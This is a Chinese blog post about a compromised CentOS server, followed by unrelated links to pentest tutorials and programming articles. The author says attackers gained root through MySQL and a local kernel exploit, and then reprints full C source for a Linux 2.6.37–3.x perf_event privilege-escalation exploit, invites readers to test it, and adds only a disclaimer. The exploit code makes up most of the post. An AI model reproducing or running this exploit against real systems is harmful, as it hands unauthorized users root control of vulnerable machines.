Centos/CentOS 6.4 linux内核2.6.3.2本地提权exp代码

jincon 发表于 2014-05-31 08:25:00 发表在: 代码审计

最近我接手的一台centos 服务器的,被黑客攻击,直接获取到root权限,牛逼,通过分析,大约是通过

mysql+exp提权获得root权限。下面分享下。

具体大家可以去测试。代码具有非常强的攻击性,请用于安全测试,否则后果自担。

  1. http://www.jincon.com/archives/187/
  2.  
  3. /*
  4. * linux 2.6.37-3.x.x x86_64, ~100 LOC
  5. * gcc-4.6 -O2 semtex.c && ./a.out
  6. * 2010 sd@fucksheep.org, salut!
  7. *
  8. * update may 2013:
  9. * seems like centos 2.6.32 backported the perf bug, lol.
  10. * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
  11. */
  12.  
  13. #define _GNU_SOURCE 1
  14. #include <stdint.h>
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <string.h>
  18. #include <unistd.h>
  19. #include <sys/mman.h>
  20. #include <syscall.h>
  21. #include <stdint.h>
  22. #include <assert.h>
  23.  
  24. #define BASE 0x380000000
  25. #define SIZE 0x010000000
  26. #define KSIZE 0x2000000
  27. #define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
  28.  
  29. void fuck() {
  30. int i,j,k;
  31. uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
  32. uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
  33. uint64_t kbase = ((uint64_t)current)>>36;
  34. uint32_t *fixptr = (void*) AB(1);
  35. *fixptr = -1;
  36.  
  37. for (i=0; i<4000; i+=4) {
  38. uint64_t *p = (void *)&current[i];
  39. uint32_t *t = (void*) p[0];
  40. if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
  41. for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
  42. if (((uint32_t*)uids)[k] != t[j+k]) goto next;
  43. for (i = 0; i < 8; i++) t[j+i] = 0;
  44. for (i = 0; i < 10; i++) t[j+9+i] = -1;
  45. return;
  46. next:; }
  47. }
  48. }
  49.  
  50. void sheep(uint32_t off) {
  51. uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
  52. int fd = syscall(298, buf, 0, -1, -1, 0);
  53. assert(!close(fd));
  54. }
  55.  
  56. int main() {
  57. uint64_t u,g,needle, kbase, *p; uint8_t *code;
  58. uint32_t *map, j = 5;
  59. int i;
  60. struct {
  61. uint16_t limit;
  62. uint64_t addr;
  63. } __attribute__((packed)) idt;
  64. assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
  65. memset(map, 0, SIZE);
  66. sheep(-1); sheep(-2);
  67. for (i = 0; i < SIZE/4; i++) if (map[i]) {
  68. assert(map[i+1]);
  69. break;
  70. }
  71. assert(i<SIZE/4);
  72. asm ("sidt %0" : "=m" (idt));
  73. kbase = idt.addr & 0xff000000;
  74. u = getuid(); g = getgid();
  75. assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
  76. memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
  77. memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
  78. printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27);
  79. setresuid(u,u,u); setresgid(g,g,g);
  80. while (j--) {
  81. needle = AB(j+1);
  82. assert(p = memmem(code, 1024, &needle, 8));
  83. if (!p) continue;
  84. *p = j?((g<<32)|u):(idt.addr + 0x48);
  85. }
  86. sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
  87. asm("int $0x4"); assert(!setuid(0));
  88. return execl("/bin/bash", "-sh", NULL);
  89. }

LInux 安全测试 2的更多相关文章

  1. Kali linux渗透测试常用工具汇总1

    1.ProxyChains 简介:代理工具.支持HTTP/SOCKS4/SOCK5的代理服务器,允许TCP/DNS通过代理隧道. 应用场景:通过代理服务器上网. 配置:/etc/proxychains ...

  2. Kali linux渗透测试的艺术 思维导图

    Kali Linux是一个全面的渗透测试平台,其自带的高级工具可以用来识别.检测和利用目标网络中未被发现的漏洞.借助于Kali Linux,你可以根据已定义的业务目标和预定的测试计划,应用合适的测试方 ...

  3. linux下测试磁盘的读写IO速度-简易方法

    linux下测试磁盘的读写IO速度-简易方法 参考资料:https://blog.csdn.net/zqtsx/article/details/25487185 一:使用hdparm命令 这是一个是用 ...

  4. 【Linux】测试环境如何搭建?

    [Linux]测试环境如何搭建? (该文档所在我的百度网盘位置: ) 通常面试会问到会不会搭建测试环境?到底啥是测试环境搭建呢,其实测试环境没有想像的那么高大上,弄个 tomcat,把测试的 war ...

  5. Kail Linux渗透测试教程之免杀Payload生成工具Veil

    Kail Linux渗透测试教程之免杀Payload生成工具Veil 免杀Payload生成工具——Veil Kail Linux渗透测试教程之免杀Payload生成工具Veil,Veil是一款利用M ...

  6. Kail Linux渗透测试教程之在Metasploit中扫描

    Kail Linux渗透测试教程之在Metasploit中扫描 在Metasploit中扫描 在Metasploit中,附带了大量的内置扫描器.使用这些扫描器可以搜索并获得来自一台计算机或一个完整网络 ...

  7. Kail Linux渗透测试教程之网络扫描和嗅探工具Nmap

    Kail Linux渗透测试教程之网络扫描和嗅探工具Nmap 网络扫描和嗅探工具——Nmap Nmap也就网络映射器(Network Mapper),是一个免费开放的网络扫描和嗅探工具.该工具可以扫描 ...

  8. Kail Linux渗透测试教程之ARP侦查Netdiscover端口扫描Zenmap与黑暗搜索引擎Shodan

    Kail Linux渗透测试教程之ARP侦查Netdiscover端口扫描Zenmap与黑暗搜索引擎Shodan ARP侦查工具——Netdiscover Netdiscover是一个主动/被动的AR ...

  9. Kail Linux渗透测试教程之Recon-NG框架

    Kail Linux渗透测试教程之Recon-NG框架 信息收集 信息收集是网络攻击最重要的阶段之一.要想进行渗透攻击,就需要收集目标的各类信息.收集到的信息越多,攻击成功的概率也就越大.本章将介绍信 ...

  10. linux上测试磁盘IO速度

    运维工作,经常要测试服务器硬件性能,以此来判断是否存在性能瓶颈. 下面介绍在linux上测试磁盘IO速度的工具: 1.hdparm CentOS中,安装的两种方法: 1) yum安装. # yum i ...

随机推荐

  1. JQuery ztree 异步加载实践

    本来要做一个文件目录浏览界面,需要遍历所有的文件和目录,很显然一次性读取时很费时费力的一件事情. 因此就需要做异步加载.... 不过网上的几篇帖子还挺坑的!原始参考:JQuery异步加载实例,相对来说 ...

  2. java输入函数

    import java.util.*; class Test{ public static void main(String[] args){ Scanner x=new Scanner(System ...

  3. 使用nginx绑定域名,代理gitlab

    默认情况下,gitlab通过自带的unicorn来充当web页面的,不用nginx也可以,这里我们使用nginx代理vim /etc/yum.reos.d/nginx.repo # 编辑nginx.r ...

  4. Java基础-常量池

    在class文件中,“常量池”是最复杂也最值得关注的内容. Java是一种动态连接的语言,常量池的作用非常重要,常量池中除了包含代码中所定义的各种基本类型(如int.long等等)和对象型(如Stri ...

  5. 常用JQuery插件

    虽然自己也写过插件,但JQuery插件种类的繁多,大多时候,我还是使用别人写好的插件,这些都是我用了同类插件里较为不错的一些,今天就整理一下公开放出来. UI: jquery.HooRay(哈哈,自己 ...

  6. 重写UIPageControl实现自定义按钮

    有时候UIPageControl需要用到白色的背景, 那么会导致上面的点按钮看不见或不清楚,我们可以通过继承该类重写函数来更换点按钮的图片现实.实现思路如下.新建类继承UIPageControl :  ...

  7. BZOJ-1202 狡猾的商人 并查集+前缀和

    我记得这个题,上次之前做的时候没改完,撂下了,今天突然想改发现,woc肿么A 了= =看来是我记错了.. 1202: [HNOI2005]狡猾的商人 Time Limit: 10 Sec Memory ...

  8. ubuntu使用ssh登入不执行.bashrc解决方法

    解决方法,可以直接输入 bash即可. 理解 bashrc 和 profile linux bashrc profile SEP 30TH, 2011 BY SUNTEYA 在一般的 linux 或者 ...

  9. OMNET++工具的使用(2)

    http://blog.csdn.net/codingkid/article/details/7085214 首先解决一些概念上的问题: 1. 在omnetpp.org中提到的仿真模型和框架与OMNe ...

  10. JS 显示时间与倒计时练习

    显示时间与倒计时 HTML <!DOCTYPE html> <html> <head> <meta charset="utf-8"> ...